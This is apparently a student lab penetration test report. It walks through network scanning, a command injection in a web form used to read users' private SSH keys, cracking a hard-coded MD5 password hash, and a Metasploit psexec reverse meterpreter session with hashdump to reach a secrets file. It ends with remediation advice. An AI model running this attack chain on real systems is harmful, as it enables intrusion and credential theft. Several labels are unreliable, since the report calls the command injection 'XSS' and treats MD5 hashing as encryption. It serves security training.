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Executive Summary 

Objective 

 The challenge was to do a mock penetration test to find and exploit any and all vulnerabilities 

within our users on our system. Somewhere on the administrator account there is a file known as se-

crets.txt that should remain hidden ensuring our system is secure should no one access it.  

 The findings below show multiple HIGH risks security issues below that must be resolved im-

mediately to ensure the network is safe from outside malicious actors. If these issues are not resolved the 

malicious actors will get into our company data and also any of our client’s sensitive data resulting in 

multiple litigations and expensive costs.  

Scope:  
 The scope used was internal network range IP: 172.31.63.137/20 

 Open tcp open ssh: Port: 2222 
        IP: 172.31.48.10 

  
 

Tools Used 

Nmap: Nmap is a tool that is used to scan for any open ports on your network running      
and each IP address it’s associated with.  

Ssh: ssh stands for secure shell. In this we are making a secure connection onto 
         another machine using an authentication key to gain access to their network. 

Metasploit: A penetration tool that allows for the creation of security tools and  
                      exploits 

Hashing Website: https://10015.io/tools/md5-encrypt-decrypt used for decrypting  

 

 
 

  

Penetration Test Findings 

Summary 

 The following graph below highlights many of the findings and their associated severity. Many if not all 

are considered high risk and of the utmost volatility.  

https://10015.io/tools/md5-encrypt-decrypt


 

 

 

Finding # Severity Finding Name 

1 High  Multiple open ports on network that are not typical 

2 High  Website in open port 2222 allows for XXS in user input. 

3 Medium Script found under user alice-devops was not secure 

4 High Password being hard coded onto a script 

5 Medium Md5 encryption proven not very secure method 

6 High Hashdump allowed for md5 hashes of Administrators 

7 High Exploitation of Administrator password from said hashdump 

Detailed Walkthrough 

 We first start out by logging in and opening the terminal and seeing what our IP address including the 

subnet, once we have that we will take that and do a more in depth scan.  

 

 
 

       I take that IP address of 172.31.63.137/20 and do a nmap scan. 

 

 
 

From there I can see that there are 5 machines connected to our network including ours. I will 

do a further nmap scan on those connected and this time I will include a port scan option as 

well.  

 
 

 

 



 

The results are as shown 

 

 

 
 

 

 

 



 

Finding # Severity Finding Name 

1 High   IP 172.31.48.10  
Open 2222/tcp used for ssh 

2 High   IP 172.31.52.59  

Open 3389/tcp used for ms-wbt-server terminal 

3 High   IP 172.31.55.80 
Open 1013/tcp used for http on to an Apache web server 

4 High  IP 172.31.63.207  
Open 3389/tcp used for ms-wbt-server terminal 

 

 

As we can see there is an open port that is using a connection to go to an Apache web server. I will 

use the IP and port it is using and open up a browser and see if I can even access it. 

 

 
 

At first glance it looks like there might not be anything there but if i click the link and go to 

the “Network Utility Development Site” I can see there is a DNS name query search that 

allows for user input. I can now begin to test and see if it allows for any cross site scripting. 



 

 
Success! It does. I use a command whoami to display the current user. 

 
 

I explore a little more and can see any files listed with command ls –la 



 

 
 

And from here I enter in command ls /home to display names of all the users.  
 

 

 
I was able to get each users ssh keys by entering command cat /home/user/.ssh/id_rsa.pem 
I then went back to my terminal: 
 cd /home/kali/.ssh 
 vim sshkey  

Copy and pasted the ssh key from alice-devops 
vim sshkey2  

Copy and pasted the ssh key from www-data 
Chmod 600 sshkey and sshkey2 
rm known_hosts 

 

 



 

 

 
Now that I have both authorization ssh keys for each user I will then see if I can get into 

their systems using command ssh -i sshkey -p 2222 alice-devops@172.31.48.10 

 

 

 
Now I have established a secure shell connection onto alice-devops user profile and 

have access to any and all of the users files.  
Let's explore,used commands: 
pwd 
ls 
cd scripts 
ls 
cat windows-maintenance.sh 

 



 

 

 
As we can see this file was not hidden or secure very well and we have managed to 

access vital information that includes account information with root privileges. From here I 

can copy that hashed password and decrypt it with an open source outside web tool. 



 

 

 
I now have the administrator's password as pokemon, I have all the information needed 

to establish a meterpreter session and use Metasploit to gain access as the Administrator and 
get any and all useful information.  
 To open up the Metasploit tool command msfconsole  

 use windows/smb/psexec - to load the exploit module 
 

 
 
 
 
 
 
 
 



 

Show options - they are blank besides RPORT, EXITFUNC, LHOST, LPORT  
Set Payload windows/x64/meterpreter/reverse_tcp 
Set RHOST 172.31.52.59 
Set SMBPass pokemon 
Set SMPUser administrator 

 
Exploit 

 
We have now established a meterpreter session as the Administrator and now have root access 

into any and all systems as the admin. 

 Help - to view any useful options 

 Hashdump 

 
 

Copied the hashdump passwords for each additional user found. Exit out of that current 

Administrator meterpreter session. I then used the copied Administrator2 hashdump password 

and to set up an additional meterpreter session onto the final IP address we found earlier setting 

it as our RHOSTS. 

 

 

 

 

 

 

 

 

 



 

Exploit 
Once in I was looking for the file called secrets.txt. I used the command search -f *secrets*.txt 

 
 

 cat windows/debug/secrets.txt 
 

 
 

 

Recommendation and Remediation. 
 
 After successfully completing the penetration test and reviewing the findings you can see that 

there are multiple issues that need to be resolved quickly to ensure proper security standards are upheld 

and sensitive data remains behind closed files. I would implement the following below: 
1. Implement a security team to audit network using nmap more frequently 

2. Close and non-important ports that do not need to be open 

3. Consider using common ports only for intended uses 

4. Highly recommend using https as it is a secure web protocol 

5. Regularly audit log files and permissions 

6. Highly recommend using a more secure method of encryption for passwords. Md5 is 

considered an outdated encryption as it can easily be decrypted with ease such as a web 

browser. SHA-2 is a more preferred method as of lately. 

7. Filter any input on arrival by providing a script that only allows for what is asked of in 

input. Disable any JavaScript in your web code that enables user input and therefore abil-

ity to perform cross site scripting, sanitize the html. I was able to get access into your sys-

tem that way easily and exploit it from there.  

 


